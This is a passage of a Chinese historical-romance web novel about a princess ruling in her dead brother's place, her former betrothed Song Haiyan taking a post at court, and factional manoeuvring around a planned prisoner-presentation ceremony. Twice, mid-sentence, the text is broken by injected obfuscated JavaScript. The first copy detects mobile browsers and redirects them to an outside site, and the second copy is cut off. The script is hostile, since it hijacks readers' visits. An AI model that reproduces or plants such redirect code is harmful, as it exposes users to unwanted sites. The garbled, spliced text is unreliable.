看着萧含光眼中十分不信的神情,齐韶没有再继续这个话题,他看向远处的马车:“陛下,我们先回宫吧。” 马车碾过鸡笼山上的薄雪,重新回到金陵城。暮云在天边镀上一层薄金,这自由的一日也即将结束。 眼看宫城在望,萧含光心中忽涌起一阵冲动,她猛地拍了一下车壁,大声道:“停车——” 齐韶眼中闪过一丝探究,“陛下,还有什么事?” 萧含光深吸一口气,道:“齐韶,你可不可以先送我去驿馆?” 齐韶拧了一下眉:“陛下想去见小宋将军?” 23. 第五章 嶙峋少年 马车停了下来。 “我知道这个要求会让你为难,但是……我……”萧含光紧紧攥住衣袖,她睫毛颤动,盈盈双目中溢满忧愁:“他那日在栖凤殿昏迷,我就再没有他的消息,我实在是担心……” 齐韶无声叹息,道:“陛下若是担心小宋将军的伤势,倒也不必亲自去驿馆。其实,他昏迷第二天便已苏醒,虽伤势严重,但经御医精心调养,卧床多日后已能起身,如今已无大碍。” 萧含光心中一震:“你怎么会知道这些?” 齐韶斟酌片刻,道:“陛下,您去年很长时间待在药师庵,对于这门婚事的很多细节并不知情。去年九月,北魏的鲜卑人在秋收之后大举南下,分三路同时进攻荆楚、淮南和广陵三个方向。战火燃起,边境百姓流离失所,朝廷震动。” “如今朝廷镇守荆楚的是荆州都督何长龄,他是小宋将军的母舅,坐镇淮南的是庐江刺史宋寒章,坐镇广陵的是扬州都督齐栋,他是司徒公齐鸿的第三子,算起来是陛下您的表舅。十月战报传回金陵,荆楚和淮南战线都是小胜,广陵方向却是大败。同淮南战报一起送到金陵的,还有宋寒章的奏折,为其子宋海晏求娶公主……当时,金陵还有小道消息,说是北魏派出使者到宋家劝降,被宋家子所杀……” 齐韶说到这里顿了一下:“先帝的想法暂且不提,你猜太皇太后看到宋家的奏折会怎么想?” 经过这一个月白令瑶的教导,又有太皇太后昨日的铺垫,萧含光对朝堂之事已经有了自己的判断,她沉吟片刻,低声道:“太皇太后大概会觉得宋家携淮南战略要地,威逼帝室,强娶公主,因此对宋氏心怀忌惮……” “正是此理。”齐韶道:“自两百年前中原板荡,世族南渡以来,南方虽然历经数朝,始终是皇室与世家共治天下。如今南朝门阀虽以江左齐氏、会稽魏氏等为首,但宋家、何家这些大族在一地经营多年,力量亦不可小觑。虽然金陵看起来平静,但自去年秋天开始的这场战事并未结束,双方一直在相持。” “皇太孙随先皇离世,陛下从此身属社稷,和宋家的婚事自然无法继续。但大战当前,太皇太后忌惮宋氏和何氏,绝不容许宋家子在金陵有任何闪失,一定会尽最大努力将他的伤治好,再完好无损地送回庐江去——” “所以我每天都会去驿馆,将他的近况一五一十地汇报给太皇太后知情。”齐韶绕了一大圈,又将话题绕了回来:“我甚至知道昨日宋海晏早晚各吃了一碗粳米粥,午饭吃了汤饼和鱼羹。陛下实在不必担心……” “谢谢你告诉我这些。”萧含光闭上眼睛,身体靠在车壁上,体味着这些消息。片刻后,她睁开眼睛,鼓起勇气,再次恳求道:“按你的说法,他伤愈之后就会返回庐江,或许我此生再没机会与他见面了。齐大人,你既然每日都要去驿馆,今日就带我一起去。我不进都行,只要远远看他一眼,见他安好我就放心了。” 齐韶轻叹了一声。他面露无奈,转头对车夫道:“先回我在朱雀街的宅邸。” 半炷香之后,马车停在一座宅院门口。齐韶低声道:“陛下,你先在这里等我一下。” 没多久,齐韶去而复返,手上拿了一顶黑色的斗篷,道:“陛下,您将狐裘脱下放在车上,穿上斗篷,用帽子遮住脸。”又对车夫道:“现在去驿馆。” 等马车停在驿馆门前时,萧含光已经换好衣服。这斗篷应是齐韶自己的,极为宽大,穿上之后,将她从头到脚包得严严实实。 齐韶伸手将帽檐往下拉了些,低声道:“陛下,进去之后,你跟着我走就行,不要说话,也不要让任何人看到你的脸。” 萧含光点头。 她跟在齐韶身后,走进驿馆,驿馆的驿丞见齐韶走入,连忙上前,神色恭敬道:“齐大人。” 齐韶问道:“小宋将军今日情况如何?” 驿丞答道:“今日气色看着比昨日好些,只是他心情不好,正一个人在院子里闷坐着。齐大人可要去看看?” 齐韶摇了摇头,声音沉沉:“太皇太后说小宋将军这一个月来身体都没好,要我来查看医案,看看太医们究竟是如何用药。你给我在二楼找一间朝院子开窗的房间,再让太医将这一个月的医案整理好送到房间里来……” 听闻是太皇太后亲自过问此事,那驿丞不敢轻忽,连忙在前领路,道:“齐大人,您这边请——” 萧含光跟着齐韶上了二楼,不一会又有太医带着一本厚厚的医案进来,见到齐韶,哭丧着脸道:“齐大人,并非下官们不用心医治,只是小宋将军身体旧伤太多,而且他心情沉郁,肝气郁结,十分药下去,见效的也只有四五分。还望齐大人体谅下官,在太皇太后面前多美言几句……” 齐韶接过医案,神色淡然:“我知道了,你下去吧。” 太医离开之后,齐韶将房间的大门关紧,将窗户开了一条细缝,朝外看了一眼,对萧含光道:“宋海晏就坐在那里,陛下可以在这窗边站一会儿,不要发出声音,也不要让他看到你。” 他深深看了她一眼,道:“陛下,您也知道宋海晏的性子,他若知道您就在这里,非闹得不可开交。别的不说,微臣的身家性命肯定不保了。” 他说完之后,不再看她,而是走到书案边,当真拿起那本医案看了起来。 “谢谢你。”萧含光心中满是感激与忐忑。她知道,齐韶带她来驿馆是冒了极大的风险。 她走到窗边,将窗户推开了些,朝下看去。 这院子本是一处小花园,隆冬之时,草木凋零,只有西北一座亭子尚可称为一景,宋海晏独自一人在亭中坐着。从她的角度,只堪堪见到他的背影。 少年的脊骨更瘦薄了些,明明身着冬衣,看着竟比春时显得单薄了不少。一阵风吹过,她听到他低低咳嗽起来,身体颤动。 她不自觉朝着窗外伸出手,想去抚平他耸动的臂膀,却捉了个空。窗棂的薄雪落下,积了她满手,冰冷刺骨的感觉传来,她才意识到,两人之间其实隔了很远的距离,她根本触不到那道背影。 人的命运有时候就是这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16218774|180362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样,看起来已是触手可及,其实还隔了很远很远。 譬如药师庵那一晚,宋海晏握着她的手,只要能逃进树林,便有逃脱的机会,最终他倒在了离树林一小步的地方。 在婚礼前一夜,她坐在妆镜前,母亲替她梳发时,她距离嫁给他也仅仅隔了一天。 一步。 一天。 就是咫尺与天涯的距离。 积雪吱嘎有声,有人穿过回廊,进入院中,唤道:“阿晏。” 萧含光辨认了一下,来人是那天和宋海晏一起进栖凤殿的少年,那个名叫陆思明的表弟。 见到陆思明,宋海晏似乎恢复了一些活人的气息,问道:“思明,怎么样?”他病后中气不足,声量不大,堪堪到她勉强能听到的程度。 陆思明道:“我已经打听过了,元日朝会时,主持朝会的确实是刚刚继位的皇太孙,不是你说的什么女扮男装的公主。”陆思明叹息一声:“阿晏,你魔怔了,长乐公主和皇太孙本就是双生兄妹,长相相似很正常,你一定是认错人了。” 宋海晏又道:“那我的奏折呢,你帮我递交了没有?我要面君,如果真的是皇太孙,他为什么不敢见我?” 陆思明语气无奈:“阿晏啊,这皇帝日理万机,你又没有个官职在身上,皇帝有什么理由要见你啊。而且如今朝中休沐,这折子递上去也没人批啊。” 宋海晏愣了半晌,又道:“那公主的遗体呢?就算她死了,也是天家许给我宋海晏的妻子。婚礼未成,这遗体也应该交给我带回庐江安葬吧。不行,我要去皇宫,让他们将公主的遗体还给我。” “阿晏啊,公主的遗体已经和先帝一起葬入皇陵了。要我说,咱们还是算了吧,你上次看了一眼,就病成这样。你要是带回去天天哭坟,是想今年就死吗?你这身体从去年春天就没好过,底子再好也禁不起这样折腾啊。阿晏,就算你不心疼自己的身体,也该为你母亲想想。她这半年以来,为你流了多少泪,你又不是不知道。” 说到这里,陆思明的声音也隐隐带了哭腔,乞求道:“阿晏啊,你能做的都做过了,你已经对得起她了。是公主福薄,和你无缘。算我求你了,我们回庐江去吧。” 宋海晏不再说话,他安静时,背影更显嶙峋支离。 良久,她听到他咳嗽两声,抬头望天,叹道:“原来,我还是什么也没有改变。你不是阿幸,你是阿苦……” 萧含光捂住口鼻,任由泪水滑落,她不敢哭出声,唯恐宋海晏发现,只能无声呜咽。 一只手从后面伸过来,关上了窗户,又递了一张巾帕过来。 “过去发生的事无法回头,长乐公主永远不可能死而复生。”齐韶的声音一如既往的冷冽深沉,“宋家求娶公主,太皇太后已经对宋家父子生出敌意。事久生变,让宋海晏相信公主死了,彻底死心,早点回庐江才是对他、对宋家最好的结果——” 他扶住萧含光摇摇欲坠的身躯,将她带出门外:“陛下,宫门落钥的时间快到了,我们该回去了。” 24. 第六章 玉堂佳宾 楼下的两人并不知楼上有人窥探,宋海晏在亭中坐了一会,忽又想起什么,向陆思明道:“思明,我知道你姑姑嫁入会稽魏家,你的姑父正是如今的中书令魏膺之魏大人,他深得先帝信任,佐理朝政,能不能请你帮我引见魏大人?” 陆思明一个哆嗦,忙道:“你该不会是想找中书令大人求证吧。阿晏啊,不管新皇是真是假,都只能当他是真的。就算退一万步讲,你确实没认错人,又能怎么样呢?” “你放心,思明。”宋海晏脸上现出浅浅笑意:“我绝不问公主的事。这金陵城遍布高门大族,迎来送往的都是世家名流。我们宋家在淮南是有些名望,但我如今没个官职在身,走到哪里都低人一等,因此我想向中书大人求个官做做。” “求官?”陆思明瞪他:“你要做官还需要在金陵求人?你回庐江不是想做什么就做什么。” 宋海晏苦笑:“为这桩婚事,我阿父差点没打死我。如今婚事不成,与其回去继续看他的冷眼,不如留在金陵,混个职司做做,等他气消了再回去……” 陆思明想了一下,点头道:“你说的在理。你之前立下战功,中书大人也是知道的。我想,你没能娶到公主,朝廷多少会有些体恤之意,在金陵求个实缺应是不难。但是你母亲那边……舅母让我看着你,你不回去我怎么交代?” “我会写一封信向她解释这事。你放心,我在金陵肯定不惹是生非。你帮我引见中书令大人后,就先和松声回庐江去吧……” 陆思明苦着脸,无可奈何道:“好吧。” 宋海晏又问道:“对了,如今淮南战事如何?” “最近倒是有好消息传来。”说到战况,陆思明不免兴奋起来:“今日我收到庐江那边的传信。我们这一路大胜,歼灭了北魏中路大军不说,还斩首了北魏大将拓跋兴,俘虏其手下将官十数人,从北魏手中夺回怀远、凤台两城。我估计,北魏遭此大败,荆州、广陵两个方向也会很快退兵,这场战事应该很快就结束了。” “这确实是个好消息。”宋海晏站起身来,漾起一抹明亮笑容:“这样我去中书令大人那里求官,底气也更足一些。” 不知是不是因为前线消息的鼓舞,宋海晏久病不愈的身体竟慢慢好起来了。 正月初七,陆思明带他去拜访中书令魏膺之。 魏膺之出身会稽魏氏。 若论门第之高、权势之盛,会稽魏氏自然不及一朝两后的江左齐氏。不过齐氏虽贵为南朝第一门阀,却后继乏力。 司徒公齐鸿生有三个儿子。长子齐梁好道术,沉迷修道,虽然任太常寺卿一职,但常年服用五石散,并不管事,职事由下面的属官署理。次子齐椽,雅好诗文字画,结交的都是僧道名士,喜欢清谈论玄,不喜实务,更不愿出仕为官。唯有第三子齐栋出镇扬州,但文治武功不足以开拓进取,只勉强守成而已。 太皇太后齐明霜倒是有魄力,从远房偏支里找了器度弘雅、才情卓荦的齐韶出来,着重培养。而齐韶如今年不过二十,资历尚浅,未曾担当大任。 反观会稽魏氏,子弟中英才辈出。除魏膺之出任中书令外,其兄魏显之出镇永嘉,其堂弟魏彰之出镇湘州,子侄辈多在朝中担任要职。 会稽魏氏与其他氏族联姻时,并不特别注意门第高低,而更看重实际利益。譬如魏膺之的妻子出自庐江陆家,陆家并非时人认为的上等门阀,然陆家与掌控庐江百年的宋家同气连枝,世代为姻亲,陆家家主夫人正是宋寒章的嫡亲妹妹。在魏膺之看来,这样的姻亲比起许多空有门第、朝中却无显职的婚姻更切实际。 这些年会稽魏氏不断扩展自己的影响力,虽仍不如江左齐氏,但已相去不远。 魏膺之的宅邸位于皇城南的朱雀门附近。金陵城的高官显爵之家大多居于此地。魏膺之执掌中枢,行宰相事,家中宅邸更是与众不同。门楼高峙,碧瓦朱甍,楼台馆阁,列布其中。凿池引水,叠石成峦,富贵之中不失典雅。 今日休沐,主人在暖阁宴客。 暖阁之内铺设火道,从外面烧起木炭,室内温暖如春。魏膺之着错彩罗縠锦袍,南向而坐。两侧分设一席,宋海晏居左,陆思明居右。侍儿往来,斟酒奉菜,另有数名美貌家伎,奏乐起舞,为客人助兴。 宋海晏想起欲求之事,举起酒爵,道:“中书大人……” 他刚一开口,魏膺之便笑眯眯打断道:“贤侄,你是思明的表兄,便如同我的子侄一般,叫大人太见外了,你叫我世伯就好……”魏膺之态度和蔼,“贤侄今日来我家中,无需拘束,就当回到自己家一般……” 中书大人这般态度,显然也想拉近和宋家的关系,宋海晏从善如流道:“世伯。” 魏膺之脸上露出关切神色,道:“以我们两家的关系,你在病中,我该亲自探望,只是驿馆人多眼杂,十分不便,不知贤侄如今身体可大安了?” “劳世伯牵挂,海晏身体已经大好了。”宋海晏有求于人,便特地拣了褒扬的话来说:“我从前在家中时,时常听家父说起世伯,家父说世伯经纶济世、忠勤体国,是国之柱石。父亲还说,让我这次到金陵来,定要来拜望世伯,增长见识。只是海晏这一向在病中,不免耽搁,今日见到世伯,果然更胜闻名,风范令人敬仰。” 魏膺之受此褒扬,通体舒泰,又见宋海晏龙章凤姿,谈吐清雅不俗,举止进退有度,心中忽动一念。长乐公主未嫁夭亡固然不幸,倒将这块璞玉送到他的眼前来。 如今会稽魏氏虽然在朝中势力大增,但毕竟不擅武事、不掌兵权,终究比齐氏逊了一筹,魏膺之在北方战事上一向说不上话。宋海晏是宋寒章的长子,也将是宋家未来的家主。若是魏氏能直接与宋家长子联姻,将来魏家的手就能伸到淮南、 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谁知,宋海宴眼神只在他面上一掠而过,便举觞向魏膺之道:“多谢世伯厚爱,海晏与长乐公主婚约已成,虽未能成礼,但在我心中,她已经是我的妻子了。按我朝礼制,公主薨逝,驸马需服丧一年。婚姻之事,海晏想等一年之后再议。” 礼制虽有驸马为公主服丧一年,期间不得另娶的规定。但宋海晏与长乐公主并未完婚,并不需遵守此制。天家也有言,命他自行婚娶。但他此刻搬出礼制来,魏膺之也无可反驳,且宋海晏并未明确拒绝,只是说一年后再议婚。反正这一年内,宋海晏不会婚娶,他一年后再往庐江议婚便是。想到这里,魏膺之哈哈笑道:“贤侄实乃至情之人,令人欣赏。是了,不知贤侄今日来访,所为何事?” 宋海晏暗中松了一口气,此关既过,又不至于得罪中书大人。他吁叹道:“不瞒世伯,我因这桩婚事,和父亲闹得不太愉快。如今婚姻不成,也不想回庐江去,想在京城求个挂名的虚职,虚度些时日,等父亲消气了再回去……” “这倒好说。”魏膺之脸上笑意未变,京城那些实职显职都是一个萝卜一个坑,各家争得头破血流,如今新帝刚刚继位,太皇太后专擅大权,他魏膺之也不能做主。但是宋海晏只求个临时挂名的虚职,不过他大笔一挥的事,不妨做个顺水的人情。 他斟酌片刻,道:“这样吧,你到中书省做个员外秘书郎,不需你做些什么,只每日到宫中应个卯即可;若是有事,不去也行。” 南楚朝廷中书省的办公地点在皇宫西南角,到中书省任职,就算是个挂名的闲职,也能出入禁庭。宋海晏大喜过望,举觞再拜道:“多谢世伯——” 宋海晏心满意足,席间频频敬酒,他口才甚好,又有心奉承,将魏膺之吹捧得天上有、地上无,一时宾主尽欢。 25. 第七章 在祀与戎 初八日,百官复朝。 宋海晏昨日得到中书大人的许诺,心情大好。他命宋吉找来金陵买卖庄园的牙人,说是要在金陵城买一处园邸,之后便兴致勃勃拉着陆思明、赵松声满城看园宅。 自他婚事不谐,终日恹恹,这回终于有个活人的样儿,陆思明、赵松声也不忍拂他的意,只好陪着他满城乱逛,最后终于在城东相中一处宅子。那宅子远离闹市,面积并不大,前头是三进三阔的主屋,后头有一处院子。 那院子景色也无甚出众之处,只是正中间有一棵粗壮的老梨树,冬日的梨树无花无叶,只可见皴裂的树皮和扭曲虬结的枝干。 不知为何,宋海晏看了诸多宅子都不满意,看到这棵老梨树后当即决定买下这处宅子。次日,他便从驿馆搬到宅中居住,又命宋吉找来工匠,将院子翻修一新。重筑了围墙,新盖了两间房屋。又蓄了奴仆,置了车马,大有在金陵长住之意。 又过了两日,魏膺之命人送来了员外秘书郎的版檄、印信、官服等,宋海晏十分欣喜,又备了礼物,亲自到中书大人府上致谢。陆思明知他主意已定,此时绝不肯回家去,只好请宋家的奴仆小心照看,又带了他写给何夫人的亲笔信,与赵松声先行返回庐江。 宋海晏从此便在中书省下当值。他是员外散官,也没什么事,每日点完卯,便在省下各个值事房闲逛,与同侪的官员们攀谈闲聊。 不久前,宋家在淮南击败北魏一整路大军,北魏随即在荆州和扬州两个方向先后退军,这对南楚朝廷而言是一场难得的大胜,也是时下金陵人人谈论的焦点。 众官员知道这位新来的秘书郎是宋家的长公子,自然少不了恭维奉承,不因他是个散官而看轻——宋家的根基在淮南,又是手握重兵的重藩。人人皆知这位宋家公子最近得中书大人提携,做官不过为在中枢增长一番见闻,将来还是要回庐江的,前途不可限量。 宋海晏出手大方,下值之后常常请众人出去喝酒,诸人乐得和他往来。不出数日,宋海晏就将中书省上下摸了个门清,其中以中书舍人裴光献性情疏放,酒量过人,与他最为交好。 这日下值后,宋海晏又请裴光献出去喝酒。 酒过三巡,面酣心热之际,宋海晏不经意地问道:“裴大人,不知这些时日,你可曾觐见陛下?” 裴光献答道:“见当然是见过的,元日朝会那日远远瞥过一眼。不过我职位低,隔得远,并未瞧见详细。” 宋海晏讶然道:“中书省是一朝之中枢,中书舍人是天子近臣,难道裴大人也未曾得觐天颜吗?” 裴光献举起酒盏,一饮而尽,面色又多了几分醺然,道:“别说我一个小小的中书舍人,如今就连令公魏大人,在元日之后,都没有机会面圣呢。” 宋海晏又亲自替他斟了一杯酒,不解道:“竟有此事。中书大人是一朝宰执,竟也见不着陛下吗?”他声音多了几分疑虑,“那国家大事,又是如何裁度?” 裴光献酒后迷糊,加上自己心中本有些不忿,便将中书省内的旧事向他和盘托出。 “从前先帝在时,最是信重魏大人,每日朝后都会召我们中书省内的郎官们咨议大事。可自先帝薨逝后,太皇太后以新帝体弱、不可劳累为由,既不坐朝,也不许魏大人觐见。不光如此,太皇太后还派了她的侄孙齐韶,到中书省任侍郎一职,名为辅佐,实则分了魏大人的权。” “每日朝中各部送到中书省的奏章表折,魏大人还没看呢,那位齐侍郎就通通带至椒房殿,由太皇太后批阅之后,盖上玺印,再带回省内,知会魏大人遵照办理。从前,我们中书省每日事务繁忙,如今一切都由太皇太后做主,我们这里倒成了闲散衙门了。”说到这里,裴光献也是大吐苦水:“如今连魏大人都无所事事,更不用说我们这些人了……” 宋海晏沉吟道:“太皇太后专权,难道魏大人没有异议吗?” “怎能没有异议?可齐氏在朝中势大,魏大人也是敢怒不敢言……”裴光献醉得眼皮子打架,趴倒在桌上,嘟哝道:“指不定中书大人也和你我一样,在哪里喝闷酒呢。” …… 次日下值,魏膺之回到家中不久,便有僮仆报宋家公子到访。 魏膺之连忙让人将宋海晏请入花园之中。这几日春光乍暖,园中山茶花开得正艳,白者如昆玉,赤者若丹砂,承露含羞,粲若云锦。 魏膺之命人在花下设下座席,宾主二人对坐饮茶。 宋海晏如今已是第三次登门,丝毫不露怯,先是感谢魏膺之让他在中书省下挂职,又盛赞魏膺之器度宏雅、才高名望,“世伯长”、“世伯短”地对着魏膺之好一顿奉承。 魏膺之虽然听着受用,但仍心事重重,面上不免带着些惆郁之色。 宋海晏趁机问道:“世伯今日愁眉不展,可是遇到什么为难事?” 宋海晏一介小辈,初到金陵,既无权柄,又无人望,魏膺之又怎么会向他诉苦,只道:“些许小事,贤侄不必挂怀。” 宋海晏忽地笑道:“可是为了中书省新进的齐侍郎?” 魏膺之微微一惊:“你怎会知道这些?” “世伯,我这些天整日都在省内,又怎会不知?”宋海晏端起茶杯,浅呷一口,凑前道:“不瞒世伯,此事不光世伯,中书省的郎官和舍人们人人都心怀牢骚,说是太皇太后擅权专制,中书省本为朝廷中枢,如今都成闲散衙门了。” 魏膺之深叹了一口气,道:“太皇太后从前为皇后时,便时常干政,先帝心怀当年齐氏襄助的恩德,对她多有容让,以致齐氏坐大。如今先帝薨逝,太皇太后无人挟制,竟擅权至此。如今陛下年幼体弱,我心忧矣,只怕有吕氏之祸。但如今宫中禁军,都在太皇太后掌控之中,我几次求见陛下,都受阻隔,如今君臣内外不通,我连陛下是否平安都不知道,又如之奈何?” 宋海晏沉吟片刻,道:“世伯若是想知道陛下是否平安,海晏倒是有个主意——” 魏膺之双目放光:“什么主意?” 宋海晏道:“世伯应也清楚淮南前线我军大胜北魏之事。我军不但斩首了北魏大将拓跋兴,还俘虏其手下将官十数人。家父的意思,是希望将这批俘虏押解到金陵来,在朝廷百官面前举行一场献俘仪式。如此既可宣扬我大楚的国威,又可以向陛下和太皇太后表明我庐江宋氏的忠诚之心。” 他顿了一顿,又道:“国之大事,在祀与戎。如此大事,太皇太后必会让陛下亲自出面接受献俘之礼。陛下既出面受礼,文武百官自然也可面君咨议朝事。世伯以为如何?” 魏膺之指节轻叩茶案,青瓷盏中涟漪微荡。 这的确是个绝佳的主意。历朝历代,接受献俘都是极其重要之事。何况,这场大胜发生在新帝继位不久之后,有着绝佳的象征意义,即使是太皇太后,也很难反对。 若献俘之事能成,太皇太后必会让皇帝出面。只要见了皇帝,魏膺之就可以设法以皇帝诏命为由,从太皇太后手中夺回部分权柄。 在魏膺之心中,另有一层隐秘的心思。这场战事中,夺得胜利的是掌控淮南战线的庐江宋氏,齐阀掌控的扬州战线并无尺寸之功,白白损兵折将。届时,京中议论起来,江左齐氏少不得折损颜面。 ——只要能损齐氏的颜面,这事就值得魏氏倾尽心力。 他脸上愁色一扫而空,笑容也热络起来:“贤侄这主意甚好,但献俘乃大事,令尊既有此意,不知是否有手信带来?” 宋海晏当然没有什么手信——此事本来就是他临时起意,连他阿父都不知道呢,又怎么会有手信?但这也难不倒他,他露齿一笑道:“家父的意思是命我先探探世伯的口风,若是世伯允准,自然会有正式的行文上报朝廷。” “好,好。”魏膺之拊掌笑道:“多谢贤侄解我心忧,我就等着庐江正式的行文了。此事若成,贤侄少不得要费心在各处周全。” 宋海晏恭敬行礼:“这是自然。” *** 庐江。 宋氏大宅之内。 “逆子,真是逆子——”庐江刺史宋寒章面色含怒,一掌猛地拍向几案,梨花木制成的条几从中间断成两截,那张从金陵送来的信纸轻飘飘落在地上。 宋寒章望向坐在一侧的妻子,恨恨道:“夫人惯出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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宋寒章多年来征战沙场,军务繁忙,无暇教子,早早将宋海晏带到军中,让他在战场上摸爬滚打。宋海晏有几分聪明,又自恃勇武,渐渐养成了无法无天的性子。到女儿长大了些,宋寒章吸取教训,请了名师教导。宋碧棠自幼机敏,喜欢兵法,胸中颇有韬略,兼之心灵手巧,在宋寒章眼中,这个女儿实在比儿子强多了,只恨她不是男儿身,不便从军,无法托付家业。 这时听女儿这么说,宋寒章心中火气略降下去些,吐出一口气,道:“碧棠对此有何见解?” 宋碧棠从容道:“阿父从前只理兵事,不理朝事,只想守住淮南之地,不愿掺和金陵的明争暗斗。可阿父也该想想,淮南东接维扬、西连荆楚,是北方防线的最中心处,牵一发而动全身。宋家居如此战略要地,又手握重兵,这些事又岂是想避就能避开的?” 宋寒章负手踱至窗边,语气缓了三分:“接着说。” 宋碧棠接着道:“如今朝廷内齐氏一门独大,太皇太后又擅权专制,其他各家必定不满,偏偏齐家在北面战事上,始终被我们宋家压过一头。齐阀暗中忌恨我们,其他各阀早晚也会对我们宋家生出攀附之意。阿父你不见阿兄婚事不谐,魏氏立刻生出联姻之意。就算我们什么也不做,上天也已经替我们宋家安排好了。” 宋寒章低头不语,陷入沉思,少女轻灵的嗓音继续在耳边响起。 “从前先帝征战天下,我们庐江宋氏和江陵何氏膺服其威,献表归降。自从先帝薨逝,萧氏一门和后族齐阀并无善战之人。我们宋家北拒外敌,立下赫赫战功,是他们该仰我们鼻息,而不是我们该畏首畏尾。女儿认为,是阿父从前过于自矜了。我宋家如此武功,又何必困在淮南一地,难道阿父你就坐不得三公之位吗?” 宋碧棠抬起头,一双星眸中光彩闪耀:“女儿认为献俘仪式十分有必要,一来可以向皇室声明,就算婚事不谐,我庐江宋氏对大楚朝廷忠心依旧。二来,也该让金陵那些朝臣们知晓,是谁替他们挡住了北魏人南下的铁骑——” 一时间,室内缄默无声。 良久,宋寒章发出一声苦笑,他长叹一声道:“你说得没错,从求娶公主开始,这盘棋我庐江宋氏已经动了先手。太皇太后和齐家已生猜忌之心,我们又怎么可能中盘退出?” 他将女儿扶起,他凝望着少女的稚颜,道:“阿棠,你的兄长虽然勇武,但性子执拗,犟起来十头牛也拉不回来。他将来执掌家族,需要有人从旁辅佐,他平素最听你的,你要多规劝一些。” 宋碧棠轻轻点头:“是。” “好了,不说这些了。你跟阿父到书房去,草拟送往金陵的文书。” 26. 第八章 天地一蚁 椒房殿西南一角,有一处书房,宫人们称之为西书房。紫檀雕花的门扉半掩,透出缕缕沉水香。书架上垒满帛书竹简,暮色穿过帘隙,在青砖地上烙出菱格花纹。 萧含光跪坐在书案之前,抄写今日的奏折。金粉在夕阳炫影中泛起细碎冷光,在纸上渐次铺陈,如同金鸾振翅而出。 自初八日起,太皇太后每日命齐韶从中书省将各部上呈的奏折取回,自己批阅之后,又命萧含光将奏章内容和太皇太后的批示一一看过。若有不懂之处,由齐韶讲解一遍,再送回中书省交由魏膺之遵照办理。 太皇太后次日会考教她奏章为何这般处置。若是萧含光答不上来,太皇太后便命女史用戒尺笞打双手。 最初几日,萧含光对朝政的具体事务几乎一窍不通,全赖齐韶逐字逐句讲解。两人常常在西书房熬到半夜,饶是如此,萧含光仍免不了因答错挨打。 在太皇太后如此严厉的督促下,数日之后,萧含光渐渐熟悉了朝中之事,可以答得八九不离十。就算偶尔有答不上来的地方,太皇太后也只让齐韶详细分说,不再打她。一次太皇太后就奏章上没有提及之处发问,她的回答亦颇有见地。太皇太后罕见地面露笑容,允许她在齐韶的陪同下去皇宫最北的华林园赏景散心。 从此,太皇太后便不再考她。每日奏章送到椒房殿后,会让女官们原样抄一遍。待太皇太后将奏章批阅完成之后,便命她在抄本上将太皇太后的批语用“金钩细”的字体誊写一遍。 萧含光心中疑惑渐生。就算她再愚钝,回想自她入宫之后发生的种种事由,也能看出太皇太后是想用最快的速度培养出一个堪当大用的皇帝。 难道太皇太后真有让她当政之意?但太皇太后不说,她也不敢细问其中关窍,只能每日按照吩咐誊写奏折。起初,她的笔触生涩,字迹歪斜。随着日复一日的练习,那些纤薄绮丽的字锋逐渐能从她笔下流淌而出。 她看着那些她本不熟悉的字体,和墙壁上如同男子一样的身影,偶尔会生出恍惚之感,疑心那并不是自己的影子,而是哥哥萧樗的。 她是谁? 她是阿幸吗?还是萧樗? 或许,在婚礼那日,长乐公主真的死去了,是皇太孙萧樗的影子在她的身体内活了过来——至少,太皇太后似乎全然忘却了萧含光是女子,将她当作真正的萧樗来严厉教导。 不管如何,萧含光终于看到了主宰自己命运的一点点幽暗微光——她这一生从未得到过自由,即使那微光仍然掩在重重宫墙之后,掩在太皇太后幽深的眼眸之中,但这一点点微薄的可能性已让她分外欣喜。 这段时日,齐韶依旧每日奉太皇太后之命在西书房伴君,以应对萧含光可能出现的疑问。他大部分时候都在看书,看《六韬》《将苑》,也看《谷梁传》《战国策》。有时候,他也会抚琴娱心。他弹的尽是清悦、平和之音,她元日听到的那支忧怀怆恨的曲子再也没有听到过。 夕阳的影子悄然爬上窗棂,将雀翎帘的缝隙染成金红,又一寸寸褪去。 萧含光取过书案上的最后一张奏折,正要誊写之时,见奏折最左侧太皇太后的亲笔朱笔只有一个字:“准。” 太皇太后的批阅奏折的风格一向简明,但是仅批一个“准”字的奏折她还是第一次见,一看落款“魏膺之”三个字就更吃惊了。 她这些天日日夜夜地看折子抄折子,自然知道魏膺之是当朝宰执,且对太皇太后取消朝议、一人乾纲独断多有不满。这位魏大人为此呈过多次奏章,或要求皇帝陛下恢复每日朝议,或要求率众中枢之臣到御居之处议事,或要求面见皇帝,问候龙体安否等等。 她看得多了,都能想见一位含辛茹苦、鞠躬尽瘁的老臣,意图从太皇太后的魔爪中拯救已经岌岌可危的皇权,但这些合理的要求通通被太皇太后驳回。 今次,太皇太后竟准了魏膺之的奏折,她不免对奏折的内容多了几分好奇心。她逐字逐句地读完,轻轻咦了一声。 齐韶放下手中书卷,侧脸朝她看过来:“陛下是否有疑虑之处?” 萧含光确实没有想明白其中关窍,将奏折递给他,问道:“太皇太后素来不喜欢魏膺之,为何魏大人奏请在下月初八举行献俘仪式,太皇太后竟没有提出反对?” 齐韶将奏折展开,一目十行地掠过,答道:“原因很简单,因为这场献俘仪式也是太皇太后希望看到的。” 萧含光这些天浸淫国事之中,稍加思索,继续问道:“为什么?献俘仪式不是由宋家主导吗?这次大战宋家胜而齐家败,献俘仪式只会让大家记住庐江宋家武功赫赫,遮掩齐家的光彩。” “陛下,齐家是齐家,太皇太后是太皇太后。”齐韶将奏折搁下,解释道:“太皇太后虽然姓齐,但她是整个大楚朝廷的国母。当她手握玉玺时,她代表的是萧氏、是整个大楚朝廷的利益,而不是齐氏一门,陛下明白吗?” 